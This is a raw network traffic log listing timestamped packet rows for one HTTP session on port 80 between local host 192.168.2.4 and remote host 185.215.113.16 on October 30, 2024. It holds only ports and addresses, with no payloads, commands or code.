Oct 30, 2024 12:36:51.909212112 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.952069998 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952081919 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952091932 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952152967 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.952152967 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.952239990 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952251911 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952260971 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952270985 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952286959 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952295065 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.952297926 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952310085 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952320099 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952331066 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952336073 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.952336073 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.952342987 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952353001 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952361107 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.952363968 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952373981 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.952375889 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952399969 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.952429056 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952439070 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.952440023 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952451944 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952505112 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.952505112 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.952537060 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952548027 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952559948 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952572107 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952583075 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952598095 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.952627897 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952639103 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952649117 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952653885 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.952660084 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952670097 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.952676058 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952685118 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952694893 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952697992 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.952706099 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952722073 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952725887 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.952733040 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952743053 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952745914 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.952754021 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952754021 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.952800035 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.952800989 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.952845097 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952857018 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952867985 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952879906 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952893972 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.952894926 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952904940 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952915907 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952919960 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.952928066 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952936888 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952941895 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.952976942 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952981949 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.952981949 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.952986002 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.952996016 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953020096 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.953047037 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953058004 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953068018 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953073025 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.953079939 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953090906 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.953092098 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953102112 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953113079 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.953155041 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.953155041 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.953172922 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953183889 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953193903 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953206062 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953216076 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953227043 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953237057 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953250885 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.953277111 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.953277111 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.953305006 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953315973 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953325987 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953336000 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953346968 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953350067 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.953357935 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953382969 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.953382969 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.953439951 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953454971 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.953516006 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953521013 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.953528881 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953577042 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953579903 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.953579903 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.953588009 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953598022 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953608036 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953618050 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953629017 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953649998 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.953675032 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953685999 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953696012 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953700066 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.953706980 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953742027 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953747034 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.953747034 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.953752995 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953763008 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953774929 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953785896 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953795910 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953807116 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953819990 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.953819990 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.953887939 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953901052 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.953905106 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953922033 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953933001 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953943968 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953954935 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953957081 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.953967094 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953979015 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953979015 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.953989029 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.953990936 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.954000950 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.954011917 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.954022884 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.954025030 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.954047918 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.954047918 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.954056025 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.954067945 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.954078913 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.954081059 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.954091072 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.954102039 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.954113007 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.954113007 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.954123974 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.954134941 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.954195976 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.954206944 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.954216957 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.954220057 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.954229116 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.954240084 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.954240084 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.954251051 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.954252958 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.954274893 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.954343081 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.954355001 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.954365015 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.954368114 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.954376936 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.954389095 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.954389095 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.954399109 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.954401970 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.954417944 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.954427958 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.954437971 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.954441071 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.954441071 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.954449892 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.954461098 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.954472065 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.954474926 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.954510927 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.954510927 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.954533100 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.954544067 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.954555035 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.954565048 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.954593897 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.954606056 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.954607010 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.954617977 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.954629898 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.954631090 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.954641104 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.954654932 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.954725981 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.955873966 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.955884933 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.955895901 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.955945969 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.955956936 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.955965996 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.955971003 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.955976963 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.955986977 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.955996990 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.956010103 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.956033945 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956049919 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956059933 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.956060886 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956070900 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956083059 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956093073 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956095934 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.956095934 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.956104040 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956129074 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.956175089 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.956186056 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956197023 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956207037 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956218958 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956229925 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956231117 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.956240892 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956252098 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956254959 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.956254959 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.956309080 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.956320047 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956331015 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956341982 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956352949 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956362963 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956367970 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.956373930 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956382036 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.956425905 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.956425905 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.956449032 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956460953 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956470966 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956484079 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956494093 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956497908 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.956506014 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956517935 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956521034 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.956547976 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.956598043 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956609011 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956614017 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.956619978 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956629992 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956641912 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956645966 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.956651926 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956660986 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.956662893 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956674099 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956685066 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956686974 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.956696987 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.956732035 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956743002 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956757069 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956763029 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956768036 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.956768036 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.956773996 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956785917 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956795931 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.956795931 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956808090 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956819057 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956828117 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.956840992 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.956868887 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956876040 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.956881046 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956892014 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956903934 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956913948 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956924915 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.956926107 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.956934929 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.956940889 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.956993103 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957005024 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957014084 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957017899 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.957025051 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957040071 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.957041025 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957051992 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957062006 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957062960 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.957072020 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957082987 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.957093000 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.957122087 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957129955 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.957130909 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957228899 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957240105 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957251072 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957253933 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.957261086 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957271099 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957279921 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.957283974 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957293034 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.957294941 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957305908 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.957307100 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957333088 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957343102 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957348108 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.957348108 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.957351923 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957365036 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957376957 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957387924 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957389116 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.957389116 CET	49747	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:51.957398891 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957453012 CET	80	49747	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:51.957453966 CET	49747	80	192.168.2.4	185.215.113.16
